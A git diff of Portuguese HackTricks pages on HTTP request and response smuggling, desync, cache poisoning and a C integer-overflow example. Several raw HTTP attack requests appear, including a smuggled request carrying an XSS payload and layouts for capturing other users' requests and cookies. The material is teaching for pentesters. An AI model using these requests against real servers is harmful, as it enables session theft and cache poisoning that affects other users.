* **Impacto Não Intencional no Usuário:** Se seu ataque impactar inadvertidamente a solicitação de outro usuário (não a solicitação "normal" enviada para detecção), isso indica que seu ataque influenciou outro usuário do aplicativo. Testes contínuos podem perturbar outros usuários, exigindo uma abordagem cautelosa.
## Abusando do HTTP Request Smuggling
@ -284,11 +284,11 @@ a=x
0
```
Por outro lado, no ataque TE.CL, o pedido `POST` inicial usa `Transfer-Encoding: chunked`, e o pedido incorporado subsequente é processado com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora o pedido `GET /admin` contrabandeado, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
Por outro lado, no ataque TE.CL, a solicitação `POST` inicial usa `Transfer-Encoding: chunked`, e a solicitação incorporada subsequente é processada com base no cabeçalho `Content-Length`. Semelhante ao ataque CL.TE, o proxy de front-end ignora a solicitação `GET /admin` contrabandeada, concedendo inadvertidamente acesso ao caminho restrito `/admin`.
### Revelando a reescrita de solicitação de front-end <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
As aplicações frequentemente empregam um **servidor de front-end** para modificar solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**.
As aplicações frequentemente empregam um **servidor de front-end** para modificar as solicitações recebidas antes de enviá-las ao servidor de back-end. Uma modificação típica envolve adicionar cabeçalhos, como `X-Forwarded-For: <IP do cliente>`, para transmitir o IP do cliente ao back-end. Compreender essas modificações pode ser crucial, pois pode revelar maneiras de **burlar proteções** ou **descobrir informações ou endpoints ocultos**.
Para investigar como um proxy altera uma solicitação, localize um parâmetro POST que o back-end ecoa na resposta. Em seguida, crie uma solicitação, usando este parâmetro por último, semelhante ao seguinte:
```
@ -309,7 +309,7 @@ search=
```
Nesta estrutura, os componentes de solicitação subsequentes são anexados após `search=`, que é o parâmetro refletido na resposta. Essa reflexão exporá os cabeçalhos da solicitação subsequente.
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e incrementar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
É importante alinhar o cabeçalho `Content-Length` da solicitação aninhada com o comprimento real do conteúdo. Começar com um valor pequeno e aumentar gradualmente é aconselhável, pois um valor muito baixo truncará os dados refletidos, enquanto um valor muito alto pode fazer com que a solicitação apresente erro.
Essa técnica também é aplicável no contexto de uma vulnerabilidade TE.CL, mas a solicitação deve terminar com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
@ -345,14 +345,14 @@ No entanto, essa técnica tem limitações. Geralmente, ela captura dados apenas
Além disso, vale ressaltar que essa abordagem também é viável com uma vulnerabilidade TE.CL. Em tais casos, a solicitação deve ser concluída com `search=\r\n0`. Independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.
### Usando contrabando de solicitação HTTP para explorar XSS refletido
### Usando o contrabando de solicitação HTTP para explorar XSS refletido
O Contrabando de Solicitação HTTP pode ser aproveitado para explorar páginas da web vulneráveis a **XSS Refletido**, oferecendo vantagens significativas:
* A interação com os usuários-alvo **não é necessária**.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inacessíveis**, como os cabeçalhos de solicitação HTTP.
* Permite a exploração de XSS em partes da solicitação que são **normalmente inatingíveis**, como cabeçalhos de solicitação HTTP.
Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a carga útil a seguir demonstra como explorar essa vulnerabilidade:
Em cenários em que um site é suscetível a XSS Refletido por meio do cabeçalho User-Agent, a seguinte carga útil demonstra como explorar essa vulnerabilidade:
```
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
@ -377,9 +377,9 @@ Este payload é estruturado para explorar a vulnerabilidade através de:
1. Iniciar uma solicitação `POST`, aparentemente típica, com um cabeçalho `Transfer-Encoding: chunked` para indicar o início do smuggling.
2. Seguir com um `0`, marcando o fim do corpo da mensagem chunked.
3. Em seguida, é introduzida uma solicitação `GET` smuggled, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, acionando o XSS quando o servidor processa essa solicitação subsequente.
3. Em seguida, é introduzida uma solicitação `GET` contrabandeada, onde o cabeçalho `User-Agent` é injetado com um script, `<script>alert(1)</script>`, desencadeando o XSS quando o servidor processa essa solicitação subsequente.
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não convencional, mas eficaz.
Ao manipular o `User-Agent` através do smuggling, o payload contorna as restrições normais da solicitação, explorando assim a vulnerabilidade de XSS Refletido de uma maneira não padrão, mas eficaz.
### Usando o HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto <a href="#using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect" id="using-http-request-smuggling-to-turn-an-on-site-redirect-into-an-open-redirect"></a>
@ -449,9 +449,9 @@ Content-Length: 10
x=1
```
Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento no local para redirecionamento aberto**).
Observe a solicitação incorporada direcionada para `/post/next?postId=3`. Esta solicitação será redirecionada para `/post?postId=4`, utilizando o **valor do cabeçalho Host** para determinar o domínio. Ao alterar o **cabeçalho Host**, o atacante pode redirecionar a solicitação para seu domínio (**redirecionamento interno para redirecionamento aberto**).
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento no local para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
Após o **envenenamento de soquete** bem-sucedido, uma solicitação **GET** para `/static/include.js` deve ser iniciada. Esta solicitação será contaminada pela solicitação anterior de **redirecionamento interno para redirecionamento aberto** e buscará o conteúdo do script controlado pelo atacante.
Posteriormente, qualquer solicitação para `/static/include.js` servirá o conteúdo em cache do script do atacante, lançando efetivamente um amplo ataque XSS.
@ -460,7 +460,7 @@ Posteriormente, qualquer solicitação para `/static/include.js` servirá o cont
> **Qual é a diferença entre envenenamento de cache da web e decepção de cache da web?**
>
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido a partir do cache para outros usuários da aplicação.
> * No **envenenamento de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e esse conteúdo é servido do cache para outros usuários da aplicação.
> * Na **decepção de cache da web**, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera esse conteúdo do cache.
O atacante elabora uma solicitação contrabandeada que busca conteúdo sensível específico do usuário. Considere o exemplo a seguir:
@ -577,7 +577,7 @@ table.add(req)
* [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
* [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
* [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de requisição.
* [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Esta ferramenta é um Fuzzer HTTP baseado em gramática útil para encontrar discrepâncias estranhas de smuggling de solicitação.
## Referências
@ -591,14 +591,14 @@ table.add(req)
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -9,7 +9,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -25,7 +25,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -4,19 +4,18 @@
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
**A técnica deste post foi retirada do vídeo: [https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s](https://www.youtube.com/watch?v=suxDcYViwao\&t=1343s)**
## Dessincronização da Fila de Requisições HTTP
Em primeiro lugar, essa técnica **abusa de uma vulnerabilidade de Smuggling de Requisições HTTP**, então você precisa saber o que é isso:
@ -31,25 +30,19 @@ O HTTP/1.1 permite solicitar **recursos diferentes sem precisar esperar pelos an
No entanto, há um problema de dessincronização da fila de respostas. Se um atacante enviar um ataque de Smuggling de Resposta HTTP e as respostas para a **requisição inicial e a contrabandeada forem respondidas imediatamente**, a resposta contrabandeada não será inserida na fila da resposta da vítima, mas será **simplesmente descartada como um erro**.
![](<../.gitbook/assets/image (635) (1) (1) (1).png>)
Portanto, é necessário que a **requisição contrabandeada leve mais tempo para ser processada** no servidor backend. Portanto, quando a requisição contrabandeada for processada, a comunicação com o atacante terá terminado.
Se, nessa situação específica, uma **vítima enviar uma requisição** e a **requisição contrabandeada for respondida antes** da requisição legítima, a **resposta contrabandeada será enviada à vítima**. Portanto, o atacante estará **controlando a requisição "realizada" pela vítima**.
Além disso, se o **atacante então realizar uma requisição** e a **resposta legítima** à **requisição da vítima for respondida** **antes** da requisição do atacante. A **resposta à vítima será enviada ao atacante**, **roubando** a resposta da vítima (que pode conter, por exemplo, o cabeçalho **Set-Cookie**).
![](<../.gitbook/assets/image (658) (1).png>)
### Injeções Aninhadas Múltiplas
![](<../.gitbook/assets/image (655) (1) (1) (1).png>)
### Múltiplas Injeções Aninhadas
Outra **diferença interessante** com o **Smuggling de Requisições HTTP** comum é que, em um ataque de contrabando comum, o **objetivo** é **modificar o início da requisição da vítima** para que ela execute uma ação inesperada. Em um **ataque de contrabando de resposta HTTP**, como você está **enviando requisições completas**, você pode **injetar em uma carga útil dezenas de respostas** que irão **dessincronizar dezenas de usuários** que estarão **recebendo** as **respostas** **injetadas**.
Outra **diferença interessante** com o Smuggling de Requisições HTTP comum é que, em um ataque de contrabando comum, o **objetivo** é **modificar o início da requisição da vítima** para que ela execute uma ação inesperada. Em um **ataque de contrabando de resposta HTTP**, como você está **enviando requisições completas**, você pode **injetar em uma carga útil dezenas de respostas** que irão **dessincronizar dezenas de usuários** que estarão **recebendo** as **respostas injetadas**.
Além de poder **distribuir mais facilmente dezenas de exploits** entre usuários legítimos, isso também poderia ser usado para causar um **DoS** no servidor.
### Organização do Exploit
### Organização de Exploits
Como explicado anteriormente, para abusar dessa técnica, é necessário que a **primeira mensagem contrabandeada** no servidor **leve muito tempo para ser processada**.
@ -61,17 +54,13 @@ Primeiro, a **requisição inicial abusando do Smuggling de Requisições HTTP**
### Capturando requisições de outros usuários <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
Assim como nos payloads conhecidos de Smuggling de Requisições HTTP, você pode **roubar a requisição da vítima** com uma diferença importante: Neste caso, você só precisa que o **conteúdo enviado seja refletido na resposta**, **nenhum armazenamento persistente** é necessário.
Assim como com os payloads conhecidos de Smuggling de Requisições HTTP, você pode **roubar a requisição da vítima** com uma diferença importante: Neste caso, você só precisa que o **conteúdo enviado seja refletido na resposta**, **nenhum armazenamento persistente** é necessário.
Primeiro, o atacante envia uma carga útil contendo uma **requisição POST final com o parâmetro refletido** no final e um grande Content-Length
![](<../.gitbook/assets/image (625).png>)
Depois, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **sonolenta** está sendo processada (amarela), a **próxima requisição que chega de uma vítima** será **anexada na fila logo após o parâmetro refletido**:
Então, uma vez que a **requisição inicial** (azul) foi **processada** e **enquanto** a **dorminhoca** está sendo processada (amarela), a **próxima requisição que chega de uma vítima** será **anexada na fila logo após o parâmetro refletido**:
![](<../.gitbook/assets/image (634) (1).png>)
Então, a **vítima** irá **receber** a **resposta à requisição dorminhoca** e se, nesse meio tempo, o **atacante** **enviar** **outra** **requisição**, a **resposta da requisição de conteúdo refletido será enviada para ele**.
Então, a **vítima** irá **receber** a **resposta à requisição sonolenta** e se, nesse meio tempo, o **atacante enviar outra requisição**, a **resposta da requisição de conteúdo refletido será enviada para ele**.
## Dessincronização de Respostas
@ -81,45 +70,31 @@ Mas ainda é possível **dessincronizar ainda mais** as respostas.
Existem requisições interessantes como a requisição **HEAD** que são especificadas para não ter **nenhum conteúdo no corpo das respostas** e que devem (devem) **conter o Content-Length** da requisição como **se fosse uma requisição GET**.
Portanto, se um atacante **injetar** uma requisição **HEAD**, como nestas imagens:
![](<../.gitbook/assets/image (626).png>)
Portanto, se um atacante **injetar** uma **requisição HEAD**, como nestas imagens:
Então, **uma vez que a azul é respondida ao atacante**, a próxima requisição da vítima será introduzida na fila:
![](<../.gitbook/assets/image (651) (1) (1) (1) (1) (1) (1).png>)
Então, a **vítima** irá **receber** a **resposta** da **requisição HEAD**, que **vai conter um Content-Length mas nenhum conteúdo**. Portanto, o proxy **não enviará essa resposta** para a vítima, mas irá **aguardar** por algum **conteúdo**, que na verdade será a **resposta à requisição amarela** (também injetada pelo atacante):
![](<../.gitbook/assets/image (627) (1).png>)
### Confusão de Conteúdo
Seguindo o exemplo anterior, sabendo que você pode **controlar o corpo** da requisição cuja resposta a vítima vai receber e que uma **resposta HEAD** geralmente contém em seus cabeçalhos o **Content-Type e o Content-Length**, você pode **enviar uma requisição como a seguinte** para **causar XSS** na vítima sem que a página seja vulnerável ao XSS:
![](<../.gitbook/assets/image (654) (1) (1) (1).png>)
### Envenenamento de Cache
Abusando do ataque de Confusão de Conteúdo de dessincronização de respostas comentado anteriormente, **se o cache armazenar a resposta à requisição realizada pela vítima e essa resposta for uma injetada causando um XSS, então o cache estará envenenado**.
Requisição maliciosa contendo a carga útil XSS:
![](<../.gitbook/assets/image (644) (1).png>)
Requisição maliciosa contendo o payload XSS:
Resposta maliciosa para a vítima que contém o cabeçalho que indica ao cache para armazenar a resposta:
![](<../.gitbook/assets/image (629) (1).png>)
{% hint style="warning" %}
Observe que, neste caso, se o **"vítima" for o atacante**, ele pode agora realizar **envenenamento de cache em URLs arbitrárias** pois ele pode **controlar a URL que será armazenada em cache** com a resposta maliciosa.
Note que, neste caso, se o **"vítima" for o atacante**, ele pode agora realizar **envenenamento de cache em URLs arbitrárias** pois ele pode **controlar a URL que será armazenada em cache** com a resposta maliciosa.
{% endhint %}
### Decepção de Cache da Web
Este ataque é semelhante ao anterior, mas **em vez de injetar uma carga útil dentro do cache, o atacante irá armazenar informações da vítima dentro do cache:**
![](<../.gitbook/assets/image (643) (1) (1).png>)
Este ataque é semelhante ao anterior, mas **em vez de injetar uma carga útil dentro do cache, o atacante estará armazenando informações da vítima dentro do cache:**
### Divisão de Respostas
@ -129,31 +104,10 @@ Para alcançar isso, o atacante precisa encontrar um endpoint da aplicação web
Ele enviará um **exploit** como:
![](<../.gitbook/assets/image (649) (1) (1) (1).png>)
Após a primeira requisição ser resolvida e enviada de volta ao atacante, a **requisição da vítima é adicionada à fila**:
![](<../.gitbook/assets/image (661) (1) (1) (1).png>)
Depois que a primeira requisição for resolvida e enviada de volta ao atacante, a **requisição da vítima é adicionada à fila**:
A vítima receberá como resposta o **HEAD response + o conteúdo da resposta da segunda requisição (contendo parte dos dados refletidos):**
![](<../.gitbook/assets/image (633) (1).png>)
No entanto, observe como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD que gerou uma resposta HTTP válida na fila de respostas**.
No entanto, observe como os **dados refletidos tinham um tamanho de acordo com o Content-Length** da **resposta HEAD** que **gerou uma resposta HTTP válida na fila de respostas**.
Portanto, a **próxima requisição do segundo usuário** será **recebendo** como **resposta algo completamente criado pelo atacante**. Como a resposta é completamente criada pelo atacante, ele também pode **fazer o proxy armazenar em cache a resposta**.
<details>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Outras formas de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
Portanto, a **próxima requisição da segunda vítima** irá **receber** como **resposta algo completamente criado pelo atacante**. Como a resposta é completamente criada pelo atacante, ele também pode **fazer o proxy armazenar em cache a resposta**.

View file

@ -7,7 +7,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
@ -23,7 +23,7 @@ Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>

View file

@ -2,12 +2,12 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me no** **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [repositório hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -29,28 +29,28 @@ println!("{}", add_result);
{% endtab %}
{% tab title="C" %}
## Transbordamento de Inteiro
## Integer Overflow
Transbordamento de inteiro ocorre quando uma operação matemática resulta em um valor maior do que o máximo que pode ser representado pelo tipo de dado utilizado. Isso pode levar a comportamentos inesperados e potencialmente vulnerabilidades de segurança, como a possibilidade de alterar variáveis importantes na aplicação.
Integer overflow occurs when an arithmetic operation results in a value that exceeds the maximum size that the data type can hold. This can lead to unexpected behavior in the application, such as crashes, memory corruption, or even security vulnerabilities.
### Exemplo
### Example
```c
#include <stdio.h>
int main() {
int a = 2147483647; // maior valor positivo que um int pode armazenar
a = a + 1; // ocorre transbordamento de inteiro
printf("Valor de a: %d\n", a);
unsigned int x = 4294967295; // Maximum value for a 32-bit unsigned integer
x = x + 1;
printf("Value of x: %u\n", x);
return 0;
}
```
Neste exemplo, a variável `a` atinge o valor máximo que um `int` pode armazenar e, ao adicionar 1, ocorre um transbordamento de inteiro, resultando em um valor negativo inesperado.
In this example, adding 1 to the maximum value of an unsigned 32-bit integer will result in an integer overflow, causing `x` to wrap around to 0.
### Mitigação
Para mitigar o transbordamento de inteiro, é importante validar entradas de usuário, verificar limites de variáveis e utilizar tipos de dados apropriados para as operações matemáticas necessárias.
To prevent integer overflow, developers should always validate input data, use data types that can accommodate the expected range of values, and implement checks to detect and handle potential overflows.
{% endtab %}
```c
#include <stdio.h>
@ -72,12 +72,12 @@ return 0;
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
